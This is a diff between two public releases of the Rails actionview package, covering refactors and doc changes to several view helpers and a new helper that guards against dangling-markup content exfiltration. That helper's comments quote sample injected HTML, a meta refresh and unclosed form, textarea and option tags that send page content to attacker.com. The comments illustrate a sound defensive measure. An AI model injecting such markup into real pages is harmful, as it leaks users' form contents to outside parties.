actionview 6.1.7.2 → 7.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (103) hide show
  1. checksums.yaml +4 -4
  2. data/CHANGELOG.md +299 -277
  3. data/MIT-LICENSE +2 -1
  4. data/README.rdoc +3 -3
  5. data/app/assets/javascripts/rails-ujs.esm.js +686 -0
  6. data/app/assets/javascripts/rails-ujs.js +630 -0
  7. data/lib/action_view/base.rb +37 -19
  8. data/lib/action_view/buffers.rb +107 -9
  9. data/lib/action_view/cache_expiry.rb +48 -37
  10. data/lib/action_view/context.rb +1 -1
  11. data/lib/action_view/dependency_tracker/erb_tracker.rb +154 -0
  12. data/lib/action_view/dependency_tracker/ripper_tracker.rb +59 -0
  13. data/lib/action_view/dependency_tracker.rb +6 -147
  14. data/lib/action_view/deprecator.rb +7 -0
  15. data/lib/action_view/digestor.rb +8 -5
  16. data/lib/action_view/flows.rb +4 -4
  17. data/lib/action_view/gem_version.rb +4 -4
  18. data/lib/action_view/helpers/active_model_helper.rb +3 -3
  19. data/lib/action_view/helpers/asset_tag_helper.rb +200 -60
  20. data/lib/action_view/helpers/asset_url_helper.rb +22 -21
  21. data/lib/action_view/helpers/atom_feed_helper.rb +8 -9
  22. data/lib/action_view/helpers/cache_helper.rb +55 -12
  23. data/lib/action_view/helpers/capture_helper.rb +34 -14
  24. data/lib/action_view/helpers/content_exfiltration_prevention_helper.rb +70 -0
  25. data/lib/action_view/helpers/controller_helper.rb +8 -2
  26. data/lib/action_view/helpers/csp_helper.rb +3 -3
  27. data/lib/action_view/helpers/csrf_helper.rb +4 -4
  28. data/lib/action_view/helpers/date_helper.rb +123 -57
  29. data/lib/action_view/helpers/debug_helper.rb +6 -4
  30. data/lib/action_view/helpers/form_helper.rb +253 -97
  31. data/lib/action_view/helpers/form_options_helper.rb +72 -34
  32. data/lib/action_view/helpers/form_tag_helper.rb +189 -58
  33. data/lib/action_view/helpers/javascript_helper.rb +4 -5
  34. data/lib/action_view/helpers/number_helper.rb +43 -335
  35. data/lib/action_view/helpers/output_safety_helper.rb +6 -6
  36. data/lib/action_view/helpers/rendering_helper.rb +6 -7
  37. data/lib/action_view/helpers/sanitize_helper.rb +54 -24
  38. data/lib/action_view/helpers/tag_helper.rb +42 -35
  39. data/lib/action_view/helpers/tags/base.rb +16 -77
  40. data/lib/action_view/helpers/tags/check_box.rb +1 -1
  41. data/lib/action_view/helpers/tags/collection_check_boxes.rb +1 -0
  42. data/lib/action_view/helpers/tags/collection_radio_buttons.rb +1 -0
  43. data/lib/action_view/helpers/tags/collection_select.rb +4 -1
  44. data/lib/action_view/helpers/tags/date_field.rb +1 -1
  45. data/lib/action_view/helpers/tags/date_select.rb +2 -0
  46. data/lib/action_view/helpers/tags/datetime_field.rb +14 -6
  47. data/lib/action_view/helpers/tags/datetime_local_field.rb +11 -2
  48. data/lib/action_view/helpers/tags/file_field.rb +16 -0
  49. data/lib/action_view/helpers/tags/grouped_collection_select.rb +3 -0
  50. data/lib/action_view/helpers/tags/month_field.rb +1 -1
  51. data/lib/action_view/helpers/tags/select.rb +4 -1
  52. data/lib/action_view/helpers/tags/select_renderer.rb +56 -0
  53. data/lib/action_view/helpers/tags/time_field.rb +11 -2
  54. data/lib/action_view/helpers/tags/time_zone_select.rb +3 -0
  55. data/lib/action_view/helpers/tags/week_field.rb +1 -1
  56. data/lib/action_view/helpers/tags/weekday_select.rb +31 -0
  57. data/lib/action_view/helpers/tags.rb +5 -2
  58. data/lib/action_view/helpers/text_helper.rb +180 -97
  59. data/lib/action_view/helpers/translation_helper.rb +14 -45
  60. data/lib/action_view/helpers/url_helper.rb +230 -132
  61. data/lib/action_view/helpers.rb +27 -25
  62. data/lib/action_view/layouts.rb +15 -10
  63. data/lib/action_view/log_subscriber.rb +49 -32
  64. data/lib/action_view/lookup_context.rb +58 -61
  65. data/lib/action_view/model_naming.rb +2 -2
  66. data/lib/action_view/path_registry.rb +57 -0
  67. data/lib/action_view/path_set.rb +28 -35
  68. data/lib/action_view/railtie.rb +44 -9
  69. data/lib/action_view/record_identifier.rb +16 -9
  70. data/lib/action_view/render_parser.rb +188 -0
  71. data/lib/action_view/renderer/abstract_renderer.rb +3 -3
  72. data/lib/action_view/renderer/collection_renderer.rb +10 -2
  73. data/lib/action_view/renderer/partial_renderer/collection_caching.rb +21 -3
  74. data/lib/action_view/renderer/partial_renderer.rb +3 -36
  75. data/lib/action_view/renderer/renderer.rb +6 -4
  76. data/lib/action_view/renderer/streaming_template_renderer.rb +6 -5
  77. data/lib/action_view/renderer/template_renderer.rb +9 -4
  78. data/lib/action_view/rendering.rb +25 -7
  79. data/lib/action_view/ripper_ast_parser.rb +198 -0
  80. data/lib/action_view/routing_url_for.rb +8 -5
  81. data/lib/action_view/template/error.rb +122 -14
  82. data/lib/action_view/template/handlers/builder.rb +4 -4
  83. data/lib/action_view/template/handlers/erb/erubi.rb +23 -27
  84. data/lib/action_view/template/handlers/erb.rb +79 -1
  85. data/lib/action_view/template/handlers.rb +4 -4
  86. data/lib/action_view/template/html.rb +4 -4
  87. data/lib/action_view/template/inline.rb +3 -3
  88. data/lib/action_view/template/raw_file.rb +4 -4
  89. data/lib/action_view/template/renderable.rb +1 -1
  90. data/lib/action_view/template/resolver.rb +96 -313
  91. data/lib/action_view/template/text.rb +4 -4
  92. data/lib/action_view/template/types.rb +25 -32
  93. data/lib/action_view/template.rb +245 -41
  94. data/lib/action_view/template_details.rb +66 -0
  95. data/lib/action_view/template_path.rb +66 -0
  96. data/lib/action_view/test_case.rb +182 -23
  97. data/lib/action_view/testing/resolvers.rb +11 -12
  98. data/lib/action_view/unbound_template.rb +43 -7
  99. data/lib/action_view/version.rb +1 -1
  100. data/lib/action_view/view_paths.rb +19 -28
  101. data/lib/action_view.rb +6 -4
  102. data/lib/assets/compiled/rails-ujs.js +36 -5
  103. metadata +32 -25
@@ -1,11 +1,10 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  require "set"
4
- require "active_support/core_ext/symbol/starts_ends_with"
5
4
 
6
5
  module ActionView
7
- # = Action View Atom Feed Helpers
8
- module Helpers #:nodoc:
6
+ module Helpers # :nodoc:
7
+ # = Action View Atom Feed \Helpers
9
8
  module AtomFeedHelper
10
9
  # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
11
10
  # template languages).
@@ -83,9 +82,9 @@ module ActionView
83
82
  # end
84
83
  #
85
84
  # The Atom spec defines five elements (content rights title subtitle
86
- # summary) which may directly contain xhtml content if type: 'xhtml'
85
+ # summary) which may directly contain XHTML content if type: 'xhtml'
87
86
  # is specified as an attribute. If so, this helper will take care of
88
- # the enclosing div and xhtml namespace declaration. Example usage:
87
+ # the enclosing div and XHTML namespace declaration. Example usage:
89
88
  #
90
89
  # entry.summary type: 'xhtml' do |xhtml|
91
90
  # xhtml.p pluralize(order.line_items.count, "line item")
@@ -103,7 +102,7 @@ module ActionView
103
102
  options[:schema_date] = "2005" # The Atom spec copyright date
104
103
  end
105
104
 
106
- xml = options.delete(:xml) || eval("xml", block.binding)
105
+ xml = options.delete(:xml) || block.binding.local_variable_get(:xml)
107
106
  xml.instruct!
108
107
  if options[:instruct]
109
108
  options[:instruct].each do |target, attrs|
@@ -127,7 +126,7 @@ module ActionView
127
126
  end
128
127
  end
129
128
 
130
- class AtomBuilder #:nodoc:
129
+ class AtomBuilder # :nodoc:
131
130
  XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
132
131
 
133
132
  def initialize(xml)
@@ -135,7 +134,7 @@ module ActionView
135
134
  end
136
135
 
137
136
  private
138
- # Delegate to xml builder, first wrapping the element in an xhtml
137
+ # Delegate to XML Builder, first wrapping the element in an XHTML
139
138
  # namespaced div element if the method and arguments indicate
140
139
  # that an xhtml_block? is desired.
141
140
  def method_missing(method, *arguments, &block)
@@ -161,7 +160,7 @@ module ActionView
161
160
  end
162
161
  end
163
162
 
164
- class AtomFeedBuilder < AtomBuilder #:nodoc:
163
+ class AtomFeedBuilder < AtomBuilder # :nodoc:
165
164
  def initialize(xml, view, feed_options = {})
166
165
  @xml, @view, @feed_options = xml, view, feed_options
167
166
  end
@@ -1,9 +1,11 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View Cache Helper
5
- module Helpers #:nodoc:
4
+ module Helpers # :nodoc:
5
+ # = Action View Cache \Helpers
6
6
  module CacheHelper
7
+ class UncacheableFragmentError < StandardError; end
8
+
7
9
  # This helper exposes a method for caching fragments of a view
8
10
  # rather than an entire action or page. This technique is useful
9
11
  # caching pieces like menus, lists of new topics, static HTML
@@ -165,8 +167,10 @@ module ActionView
165
167
  # expire the cache.
166
168
  def cache(name = {}, options = {}, &block)
167
169
  if controller.respond_to?(:perform_caching) && controller.perform_caching
168
- name_options = options.slice(:skip_digest)
169
- safe_concat(fragment_for(cache_fragment_name(name, **name_options), options, &block))
170
+ CachingRegistry.track_caching do
171
+ name_options = options.slice(:skip_digest)
172
+ safe_concat(fragment_for(cache_fragment_name(name, **name_options), options, &block))
173
+ end
170
174
  else
171
175
  yield
172
176
  end
@@ -174,6 +178,34 @@ module ActionView
174
178
  nil
175
179
  end
176
180
 
181
+ # Returns whether the current view fragment is within a +cache+ block.
182
+ #
183
+ # Useful when certain fragments aren't cacheable:
184
+ #
185
+ # <% cache project do %>
186
+ # <% raise StandardError, "Caching private data!" if caching? %>
187
+ # <% end %>
188
+ def caching?
189
+ CachingRegistry.caching?
190
+ end
191
+
192
+ # Raises +UncacheableFragmentError+ when called from within a +cache+ block.
193
+ #
194
+ # Useful to denote helper methods that can't participate in fragment caching:
195
+ #
196
+ # def project_name_with_time(project)
197
+ # uncacheable!
198
+ # "#{project.name} - #{Time.now}"
199
+ # end
200
+ #
201
+ # # Which will then raise if used within a +cache+ block:
202
+ # <% cache project do %>
203
+ # <%= project_name_with_time(project) %>
204
+ # <% end %>
205
+ def uncacheable!
206
+ raise UncacheableFragmentError, "can't be fragment cached" if caching?
207
+ end
208
+
177
209
  # Cache fragments of a view if +condition+ is true
178
210
  #
179
211
  # <% cache_if admin?, project do %>
@@ -249,16 +281,27 @@ module ActionView
249
281
  controller.read_fragment(name, options)
250
282
  end
251
283
 
252
- def write_fragment_for(name, options)
253
- pos = output_buffer.length
254
- yield
255
- output_safe = output_buffer.html_safe?
256
- fragment = output_buffer.slice!(pos..-1)
257
- if output_safe
258
- self.output_buffer = output_buffer.class.new(output_buffer)
259
- end
284
+ def write_fragment_for(name, options, &block)
285
+ fragment = output_buffer.capture(&block)
260
286
  controller.write_fragment(name, fragment, options)
261
287
  end
288
+
289
+ module CachingRegistry # :nodoc:
290
+ extend self
291
+
292
+ def caching?
293
+ ActiveSupport::IsolatedExecutionState[:action_view_caching] ||= false
294
+ end
295
+
296
+ def track_caching
297
+ caching_was = ActiveSupport::IsolatedExecutionState[:action_view_caching]
298
+ ActiveSupport::IsolatedExecutionState[:action_view_caching] = true
299
+
300
+ yield
301
+ ensure
302
+ ActiveSupport::IsolatedExecutionState[:action_view_caching] = caching_was
303
+ end
304
+ end
262
305
  end
263
306
  end
264
307
  end
@@ -3,18 +3,22 @@
3
3
  require "active_support/core_ext/string/output_safety"
4
4
 
5
5
  module ActionView
6
- # = Action View Capture Helper
7
- module Helpers #:nodoc:
8
- # CaptureHelper exposes methods to let you extract generated markup which
6
+ module Helpers # :nodoc:
7
+ # = Action View Capture \Helpers
8
+ #
9
+ # \CaptureHelper exposes methods to let you extract generated markup which
9
10
  # can be used in other parts of a template or layout file.
10
11
  #
11
- # It provides a method to capture blocks into variables through capture and
12
- # a way to capture a block of markup for use in a layout through {content_for}[rdoc-ref:ActionView::Helpers::CaptureHelper#content_for].
12
+ # It provides a method to capture blocks into variables through #capture and
13
+ # a way to capture a block of markup for use in a layout through #content_for.
14
+ #
15
+ # As well as provides a method when using streaming responses through #provide.
16
+ # See ActionController::Streaming for more information.
13
17
  module CaptureHelper
14
- # The capture method extracts part of a template as a String object.
18
+ # The capture method extracts part of a template as a string object.
15
19
  # You can then use this object anywhere in your templates, layout, or helpers.
16
20
  #
17
- # The capture method can be used in ERB templates...
21
+ # The capture method can be used in \ERB templates...
18
22
  #
19
23
  # <% @greeting = capture do %>
20
24
  # Welcome to my shiny new web page! The date and time is
@@ -40,11 +44,24 @@ module ActionView
40
44
  #
41
45
  # @greeting # => "Welcome to my shiny new web page! The date and time is 2018-09-06 11:09:16 -0500"
42
46
  #
43
- def capture(*args)
47
+ def capture(*args, &block)
44
48
  value = nil
45
- buffer = with_output_buffer { value = yield(*args) }
46
- if (string = buffer.presence || value) && string.is_a?(String)
47
- ERB::Util.html_escape string
49
+ @output_buffer ||= ActionView::OutputBuffer.new
50
+ buffer = @output_buffer.capture { value = yield(*args) }
51
+
52
+ string = if @output_buffer.equal?(value)
53
+ buffer
54
+ else
55
+ buffer.presence || value
56
+ end
57
+
58
+ case string
59
+ when OutputBuffer
60
+ string.to_s
61
+ when ActiveSupport::SafeBuffer
62
+ string
63
+ when String
64
+ ERB::Util.html_escape(string)
48
65
  end
49
66
  end
50
67
 
@@ -121,7 +138,7 @@ module ActionView
121
138
  # <li><%= link_to 'Home', action: 'index' %></li>
122
139
  # <% end %>
123
140
  #
124
- # And in another place:
141
+ # And in another place:
125
142
  #
126
143
  # <% content_for :navigation do %>
127
144
  # <li><%= link_to 'Login', action: 'login' %></li>
@@ -137,7 +154,7 @@ module ActionView
137
154
  # <li><%= link_to 'Home', action: 'index' %></li>
138
155
  # <% end %>
139
156
  #
140
- # <%# Add some other content, or use a different template: %>
157
+ # <%# Add some other content, or use a different template: %>
141
158
  #
142
159
  # <% content_for :navigation, flush: true do %>
143
160
  # <li><%= link_to 'Login', action: 'login' %></li>
@@ -172,6 +189,8 @@ module ActionView
172
189
  # concatenate several times to the same buffer when rendering a given
173
190
  # template, you should use +content_for+, if not, use +provide+ to tell
174
191
  # the layout to stop looking for more contents.
192
+ #
193
+ # See ActionController::Streaming for more information.
175
194
  def provide(name, content = nil, &block)
176
195
  content = capture(&block) if block_given?
177
196
  result = @view_flow.append!(name, content) if content
@@ -179,6 +198,7 @@ module ActionView
179
198
  end
180
199
 
181
200
  # <tt>content_for?</tt> checks whether any content has been captured yet using <tt>content_for</tt>.
201
+ #
182
202
  # Useful to render parts of your layout differently based on what is in your views.
183
203
  #
184
204
  # <%# This is the layout %>
@@ -198,7 +218,7 @@ module ActionView
198
218
 
199
219
  # Use an alternate output buffer for the duration of the block.
200
220
  # Defaults to a new empty string.
201
- def with_output_buffer(buf = nil) #:nodoc:
221
+ def with_output_buffer(buf = nil) # :nodoc:
202
222
  unless buf
203
223
  buf = ActionView::OutputBuffer.new
204
224
  if output_buffer && output_buffer.respond_to?(:encoding)
@@ -0,0 +1,70 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers
5
+ module ContentExfiltrationPreventionHelper
6
+ mattr_accessor :prepend_content_exfiltration_prevention, default: false
7
+
8
+ # Close any open attributes before each form tag. This prevents attackers from
9
+ # injecting partial tags that could leak markup offsite.
10
+ #
11
+ # For example, an attacker might inject:
12
+ #
13
+ # <meta http-equiv="refresh" content='0;URL=https://attacker.com?
14
+ #
15
+ # The HTML following this tag, up until the next single quote would be sent to
16
+ # +https://attacker.com+. By closing any open attributes, we ensure that form
17
+ # contents are never exfiltrated this way.
18
+ CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
19
+
20
+ # Close any open tags that support CDATA (textarea, xmp) before each form tag.
21
+ # This prevents attackers from injecting unclosed tags that could capture
22
+ # form contents.
23
+ #
24
+ # For example, an attacker might inject:
25
+ #
26
+ # <form action="https://attacker.com"><textarea>
27
+ #
28
+ # The HTML following this tag, up until the next <tt></textarea></tt> or
29
+ # the end of the document would be captured by the attacker's
30
+ # <tt><textarea></tt>. By closing any open textarea tags, we ensure that
31
+ # form contents are never exfiltrated.
32
+ CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
33
+
34
+ # Close any open option tags before each form tag. This prevents attackers
35
+ # from injecting unclosed options that could leak markup offsite.
36
+ #
37
+ # For example, an attacker might inject:
38
+ #
39
+ # <form action="https://attacker.com"><option>
40
+ #
41
+ # The HTML following this tag, up until the next <tt></option></tt> or the
42
+ # end of the document would be captured by the attacker's
43
+ # <tt><option></tt>. By closing any open option tags, we ensure that form
44
+ # contents are never exfiltrated.
45
+ CLOSE_OPTION_TAG = "</option>".html_safe.freeze
46
+
47
+ # Close any open form tags before each new form tag. This prevents attackers
48
+ # from injecting unclosed forms that could leak markup offsite.
49
+ #
50
+ # For example, an attacker might inject:
51
+ #
52
+ # <form action="https://attacker.com">
53
+ #
54
+ # The form elements following this tag, up until the next <tt></form></tt>
55
+ # would be captured by the attacker's <tt><form></tt>. By closing any open
56
+ # form tags, we ensure that form contents are never exfiltrated.
57
+ CLOSE_FORM_TAG = "</form>".html_safe.freeze
58
+
59
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
60
+
61
+ def prevent_content_exfiltration(html)
62
+ if prepend_content_exfiltration_prevention
63
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
64
+ else
65
+ html
66
+ end
67
+ end
68
+ end
69
+ end
70
+ end
@@ -3,10 +3,12 @@
3
3
  require "active_support/core_ext/module/attr_internal"
4
4
 
5
5
  module ActionView
6
- module Helpers #:nodoc:
6
+ module Helpers # :nodoc:
7
+ # = Action View Controller \Helpers
8
+ #
7
9
  # This module keeps all methods and behavior in ActionView
8
10
  # that simply delegates to the controller.
9
- module ControllerHelper #:nodoc:
11
+ module ControllerHelper # :nodoc:
10
12
  attr_internal :controller, :request
11
13
 
12
14
  CONTROLLER_DELEGATES = [:request_forgery_protection_token, :params,
@@ -20,6 +22,10 @@ module ActionView
20
22
  @_request = controller.request if controller.respond_to?(:request)
21
23
  @_config = controller.config.inheritable_copy if controller.respond_to?(:config)
22
24
  @_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
25
+ else
26
+ @_request ||= nil
27
+ @_config ||= nil
28
+ @_default_form_builder ||= nil
23
29
  end
24
30
  end
25
31
 
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View CSP Helper
5
- module Helpers #:nodoc:
4
+ module Helpers # :nodoc:
5
+ # = Action View CSP \Helpers
6
6
  module CspHelper
7
7
  # Returns a meta tag "csp-nonce" with the per-session nonce value
8
8
  # for allowing inline <script> tags.
@@ -11,7 +11,7 @@ module ActionView
11
11
  # <%= csp_meta_tag %>
12
12
  # </head>
13
13
  #
14
- # This is used by the Rails UJS helper to create dynamically
14
+ # This is used by the \Rails UJS helper to create dynamically
15
15
  # loaded inline <script> elements.
16
16
  #
17
17
  def csp_meta_tag(**options)
@@ -1,8 +1,8 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module ActionView
4
- # = Action View CSRF Helper
5
- module Helpers #:nodoc:
4
+ module Helpers # :nodoc:
5
+ # = Action View CSRF \Helpers
6
6
  module CsrfHelper
7
7
  # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
8
8
  # request forgery protection parameter and token, respectively.
@@ -16,8 +16,8 @@ module ActionView
16
16
  #
17
17
  # You don't need to use these tags for regular forms as they generate their own hidden fields.
18
18
  #
19
- # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
20
- # "X-CSRF-Token" HTTP header. If you are using rails-ujs this happens automatically.
19
+ # For Ajax requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
20
+ # +X-CSRF-Token+ HTTP header. If you are using rails-ujs, this happens automatically.
21
21
  #
22
22
  def csrf_meta_tags
23
23
  if defined?(protect_against_forgery?) && protect_against_forgery?